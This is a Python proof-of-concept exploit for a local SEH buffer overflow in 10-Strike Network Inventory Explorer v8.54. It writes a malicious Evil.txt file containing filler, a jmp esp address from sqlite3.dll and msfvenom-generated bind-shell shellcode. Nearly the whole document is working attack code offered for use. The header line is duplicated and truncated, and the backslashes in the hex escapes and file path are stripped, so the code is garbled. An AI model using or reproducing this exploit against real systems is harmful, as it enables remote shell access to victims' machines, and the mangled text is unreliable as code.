#!/usr/bin/python
#----------------------------------------------------------------------------------------------------------#
# Exploit Title : 10-Strike Network Inventory Explorer Sta #!/usr/bin/python
#----------------------------------------------------------------------------------------------------------#
# Exploit Title : 10-Strike Network Inventory Explorer Standard v8.54 - Local Buffer Overflow (SEH) #
# Exploit Author : Hashim Jawad - @ihack4falafel #
# Vendor Homepage : https://www.10-strike.com/ #
# Vulnerable Software: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe #
# Tested on : Windows 7 Enterprise - SP1 (x86) #
#----------------------------------------------------------------------------------------------------------#

# Disclosure Timeline:
# ====================
# 06-02-18: Contacted vendor, no response
# 06-03-18: Contacted vendor, no response
# 06-04-18: Contacted vendor, no response
# 06-05-18: Proof of concept exploit published

'''
Steps to reproduce:
===================
- Under Computers tab click on 'From Text File'
- Open Evil.txt and boom!
Notes:
======
- The following modules have no protection making the exploit universal: [sqlite3.dll, ssleay32.dll, MSVCR71.dll]
- Next SEH offset is 211 bytes but for some reason passing the exception to the program will result in shifting
the stack by 8 bytes, see buffer for reference.
- Keep in mind the exploit is contingent on path, and as such you need to make sure offsets stay intact based on
your username, the following is the path used while developing the exploit (default on Windows 7):
[C:UsersIEUserAppDataRoaming10-strikeNetwork Inventorycfg]
- Pro edition is effected as well.
'''

#root@kali:~# msfvenom -p windows/shell_bind_tcp -b 'x00x0ax0dx3ax5c' -f python -v shellcode
#Payload size: 355 bytes
shellcode = ""
shellcode += "xbax58x39xb1xaexd9xcfxd9x74x24xf4x5f"
shellcode += "x29xc9xb1x53x83xefxfcx31x57x0ex03x0f"
shellcode += "x37x53x5bx53xafx11xa4xabx30x76x2cx4e"
shellcode += "x01xb6x4ax1bx32x06x18x49xbfxedx4cx79"
shellcode += "x34x83x58x8exfdx2exbfxa1xfex03x83xa0"
shellcode += "x7cx5exd0x02xbcx91x25x43xf9xccxc4x11"
shellcode += "x52x9ax7bx85xd7xd6x47x2exabxf7xcfxd3"
shellcode += "x7cxf9xfex42xf6xa0x20x65xdbxd8x68x7d"
shellcode += "x38xe4x23xf6x8ax92xb5xdexc2x5bx19x1f"
shellcode += "xebxa9x63x58xccx51x16x90x2exefx21x67"
shellcode += "x4cx2bxa7x73xf6xb8x1fx5fx06x6cxf9x14"
shellcode += "x04xd9x8dx72x09xdcx42x09x35x55x65xdd"
shellcode += "xbfx2dx42xf9xe4xf6xebx58x41x58x13xba"
shellcode += "x2ax05xb1xb1xc7x52xc8x98x8fx97xe1x22"
shellcode += "x50xb0x72x51x62x1fx29xfdxcexe8xf7xfa"
shellcode += "x31xc3x40x94xcfxecxb0xbdx0bxb8xe0xd5"
shellcode += "xbaxc1x6ax25x42x14x06x2dxe5xc7x35xd0"
shellcode += "x55xb8xf9x7ax3exd2xf5xa5x5exddxdfxce"
shellcode += "xf7x20xe0xe1x5bxacx06x6bx74xf8x91x03"
shellcode += "xb6xdfx29xb4xc9x35x02x52x81x5fx95x5d"
shellcode += "x12x4axb1xc9x99x99x05xe8x9dxb7x2dx7d"
shellcode += "x09x4dxbcxccxabx52x95xa6x48xc0x72x36"
shellcode += "x06xf9x2cx61x4fxcfx24xe7x7dx76x9fx15"
shellcode += "x7cxeexd8x9dx5bxd3xe7x1cx29x6fxccx0e"
shellcode += "xf7x70x48x7axa7x26x06xd4x01x91xe8x8e"
shellcode += "xdbx4exa3x46x9dxbcx74x10xa2xe8x02xfc"
shellcode += "x13x45x53x03x9bx01x53x7cxc1xb1x9cx57"
shellcode += "x41xc1xd6xf5xe0x4axbfx6cxb1x16x40x5b"
shellcode += "xf6x2exc3x69x87xd4xdbx18x82x91x5bxf1"
shellcode += "xfex8ax09xf5xadxabx1b"

buffer = 'x41' * 207 # filler to nSEH offset (211-4)
buffer += 'x9fx4exe9x61' # 0x61E94E9F [sqlite3.dll] | jmp esp
buffer += 'x90x90x90x90' # nSEH
buffer += 'x90x90x90x90' # SEH
buffer += shellcode # bind shell
buffer += 'xcc' * (3000-207-12-len(shellcode)) # junk

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except Exception as e:
print e